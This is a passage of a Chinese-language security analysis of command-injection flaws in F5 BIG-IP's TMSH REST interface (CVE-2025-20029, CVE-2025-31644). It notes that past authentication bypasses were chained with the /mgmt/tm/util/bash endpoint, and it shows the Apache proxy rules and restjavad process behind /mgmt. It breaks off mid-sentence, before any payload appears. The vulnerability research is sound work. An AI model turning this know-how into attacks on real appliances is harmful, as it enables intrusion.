left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">REST API</span></p><span leaf=""> 接口，近期 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TMSH</span></p><span leaf=""> 接口先后发布多个命令注入漏洞：</span></div><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-20029</span></p><span leaf=""> ： <a href="https://my.f5.com/manage/s/article/K000148587" target="_blank">https://my.f5.com/manage/s/article/K000148587</a></span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-31644</span></p><span leaf=""> ： <a href="https://my.f5.com/manage/s/article/K000148591" target="_blank">https://my.f5.com/manage/s/article/K000148591</a></span></div></li></ul><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，</span><span leaf="" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在</span><span leaf=""> </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BigIP</span></p><span leaf=""> 历史上曝出的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2021-22986</span></p><span leaf=""> 、 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2022-1388</span></p><span leaf=""> 等多个认证绕过漏洞中，均尝试结合 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt/tm/util/bash</span></p><span leaf=""> 实现来实现命令执行。下面结合 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-31644</span></p><span leaf=""> 命令注入漏洞，分析一下 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TMSH</span></p><span leaf=""> 接口实现机制和漏洞触发原理。</span></div><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">mgmt 请求流程分析</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BigIP</span></p><span leaf=""> 系统的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">443</span></p><span leaf=""> 端口对应 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></p><span leaf=""> 服务，通过配置可将用户请求转发到后端的多个 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Java</span></p><span leaf=""> 进程，比如 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt/</span></p><span leaf=""> 请求将转发到 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">8100</span></p><span leaf=""> 端口的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt</span></p><span leaf=""> ：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">ProxyPass /vmchannel/ <a href="http://localhost:8585/vmchannel/" target="_blank">http://localhost:8585/vmchannel/</a> retry=0</span><span leaf="">ProxyPass /mgmt/ <a href="http://localhost:8100/mgmt/" target="_blank">http://localhost:8100/mgmt/</a> retry=0</span><span leaf="">ProxyPassReverse /vmchannel/ <a href="http://localhost:8585/vmchannel/" target="_blank">http://localhost:8585/vmchannel/</a></span><span leaf="">ProxyPassReverse /mgmt/ <a href="http://localhost:8100/mgmt/" target="_blank">http://localhost:8100/mgmt/</a></span></p></pre></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 15px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">8100</span></p><span leaf=""> 端口对应的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Java</span></p><span leaf=""> 进程如下：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/bin/java -Djava.util.logging.manager=com.f5.rest.common.RestLogManager -Djava.util.logging.config.file=/etc/restjavad.log.conf -Dlog4j.defaultInitOverride=true -Dorg.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -Dsun.jnu.encoding=UTF-8 -Dfile.encoding=UTF-8 -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+UseCMSInitiatingOccupancyOnly -XX:CMSInitiatingOccupancyFraction=60 -XX:+ScavengeBeforeFullGC -XX:+CMSScavengeBeforeRemark -XX:ParallelGCThreads=8 -XX:ConcGCThreads=3 -XX:-UseCompressedOops -XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:MaxPermSize=512m -Xms96m -Xmx384m -XX:-UseLargePages -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-2.0.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.11.0.jar:/usr/share/java/rest/libs/jackson-core-2.11.0.jar:/usr/share/java/rest/libs/jackson-databind-2.11.0.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/jmimemagic-0.1.5.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost --port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --iApplxRpmConnectionTimeoutSeconds=60 --restnodedRestartAwaitTimeoutInSeconds=1200 --isStipModeEnabled=false --workerJarDirectory=/usr/share/java/rest --configIndexDirectory=/var/config/rest/index --storageDirectory=/var/config/rest/storage --storageConfFile=/etc/rest.storage.BIG-IP.conf --restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties --machineId=b91ee950-0563-4234-bc88-4ab0f93075d7</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">启动类为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">com.f5.rest.workers.RestWorkerHost</span></p><span leaf=""> 。通过进程分析，找到服务程序位于 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/etc/bigstart/scripts/restjavad</span></p><span leaf=""> 。</span></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TMSH</span></p><span leaf=""> 接口（参考 </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(87, 107, 149);"><span leaf="">REST API 端点 — F5 Python SDK 3.0.20 文档 (f5-sdk.readthedocs.io)</span></span><span leaf=""> ）定义的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></p><span leaf=""> 以 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/mgmt/tm/</span></p><span 